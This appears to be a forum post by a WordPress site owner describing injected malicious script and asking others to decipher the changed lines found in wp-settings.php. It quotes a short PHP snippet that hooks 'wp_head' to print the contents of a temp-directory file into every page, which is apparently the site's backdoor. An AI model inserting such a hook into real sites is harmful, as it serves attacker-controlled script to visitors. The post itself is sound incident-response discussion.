Yeah same thing has happened to me… can’t really find where the malicious code is coming from – pulling my hair out right now.
The only file that has changed on the entire site in the last 24 hours is wp-settings.php and I can’t see anything unusual in there…
Update: Ok, well I replaced my wp-settings.php with an older version I had from about a month ago and it seems to have removed the malicious script tag that was being appended to the page headers….
This seems to be the only lines of code that were different…?? Anyone able to decypher what this function is doing?
303 function check_wordpress(){
304 $t_d = sys_get_temp_dir();
305 if(file_exists($t_d . '/wp_inc')){
306 readfile($t_d . '/wp_inc');
307 }
308 }
309 add_action('wp_head', 'check_wordpress');
310
311 do_action( 'init' );